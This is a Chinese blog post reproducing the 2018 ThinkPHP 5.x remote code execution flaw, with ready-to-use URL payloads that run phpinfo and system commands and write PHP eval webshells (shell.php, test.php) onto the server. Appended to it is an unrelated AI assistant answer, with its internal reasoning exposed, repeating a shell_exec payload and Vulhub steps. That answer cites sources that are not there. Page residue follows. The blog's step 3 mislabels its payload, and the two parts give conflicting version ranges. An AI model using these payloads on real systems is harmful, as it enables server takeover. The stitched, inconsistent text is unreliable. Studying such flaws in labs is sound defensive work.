【漏洞复现】ThinkPHP5.x远程代码执行

本文详细介绍了2018年12月ThinkPHP5框架的一个高危漏洞,该漏洞允许远程代码执行。影响版本包括5.0和5.1,特别是未开启强制路由的情况。漏洞复现步骤包括下载指定版本,搭建环境,利用system函数和phpinfo函数进行命令执行和信息查看,以及写入shell。提供的Payload展示了如何触发漏洞。

一、漏洞描述

2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.thinkphp.cn/869075

漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。

二、漏洞影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x<=5.0.23

三、漏洞复现

1、官网下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html

2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://127.0.0.1/thinkphp/public
在这里插入图片描述

3、利用system函数远程命令执行

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

4、通过phpinfo函数查看phpinfo()的信息

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

在这里插入图片描述

5、写入shell

Payload如下:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

在这里插入图片描述

6、查看是否成功写入shell

在这里插入图片描述

8、第二种的写入shell的方法

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>
<think>嗯,用户要求我查找ThinkPHP5版本5.0.22和5.1.29的远程代码执行漏洞信息。参考了多个站内引用,这些引用都指向同一个漏洞。 用户提供了五个引用来源,我需要从中提炼关键信息。引用[1]提到漏洞是由于获取method方法未正确处理方法名,导致攻击者能调用Request类任意方法;引用[2][3]则强调问题出在控制器名处理不当,默认配置下未开启强制路由;引用[4]明确了受影响版本范围是5.0.23和5.1.31之前的所有版本;引用[5]则给出了具体的漏洞复现URL示例。 漏洞本质在于框架对控制器名的过滤缺陷。当未开启强制路由时(默认关闭),攻击者可通过特殊构造的URL调用任意方法。比如引用[5]展示的payload就很典型:通过s参数注入命名空间路径,配合invokefunction调用危险函数如shell_exec。 修复方案很明确:升级到安全版本5.0.23或5.1.31。临时措施可开启强制路由,但可能影响正常业务。有趣的是,引用[1][3]都提到这是"RCE漏洞",说明危害等级很高。 用户可能需要明确三点:漏洞原理、如何验证漏洞存在、怎样修复。在整理回答时,我会把利用方式中的payload示例单独用代码块呈现,因为涉及具体攻击语法需要清晰分隔。另外需要强调docker复现环境搭建步骤,这对安全研究人员很实用。 考虑到用户是技术背景,相关问题设计可以更深入:比如漏洞的CVE编号、实际攻击案例、补丁对比分析等。安全类问题需要特别注意准确性,所有技术细节必须严格对照引用来源表述。 </think>根据提供的引用信息,以下是ThinkPHP 5.0.22/5.1.29 远程代码执行漏洞的完整分析: --- ### 💣 **漏洞详情** 1. **漏洞本质** 框架未正确处理控制器名和方法名,导致在未开启强制路由(默认关闭)时,攻击者可构造恶意URL调用`Request`类的任意方法,最终实现远程代码执行(RCE)[^1][^2][^3]。 2. **影响版本** - `5.0.x ≤ 5.0.22` - `5.1.x ≤ 5.1.29` (安全版本:5.0.23+ / 5.1.31+)[^4] 3. **触发条件** 默认配置下未开启强制路由(`url_route_must=false`),允许通过URL动态调用控制器方法[^2][^3]。 --- ### ⚠️ **利用方式** 1. **基础攻击Payload** 通过`s`参数注入恶意控制器路径,调用`invokefunction`执行系统命令: ```bash http://target.com/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id ``` 此Payload调用`shell_exec('id')`返回当前用户信息[^5]。 2. **利用链关键点** - 路径穿越:`\think\app` 触发框架加载流程 - 动态调用:`invokefunction` 反射执行指定函数 - 参数控制:`vars[0]` 传递危险函数(如`system`/`exec`)[^5][^3] --- ### 🔧 **修复方案** 1. **官方补丁** 升级至安全版本: ```bash # 5.0.x 升级命令 composer update topthink/framework 5.0.23 # 5.1.x 升级命令 composer update topthink/framework 5.1.31 ``` 补丁修复了方法名过滤逻辑,禁止非法字符调用[^1][^4]。 2. **临时缓解措施** - 开启强制路由(修改`config/app.php`): ```php 'url_route_must' => true, // 强制路由生效 ``` - 配置WAF拦截包含`/think/app/invokefunction`的请求[^2][^3]。 --- ### 🔍 **漏洞复现步骤** 1. 使用Vulhub环境搭建: ```bash cd vulhub/thinkphp/5.rce docker-compose up -d # 启动漏洞环境 ``` 2. 访问Payload验证漏洞: ``` http://localhost:8080/index.php?s=/Index/\think\app/invokefunction&function=phpinfo&vars[]=1 ``` 成功则返回PHP配置信息[^4][^5]。 ---
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值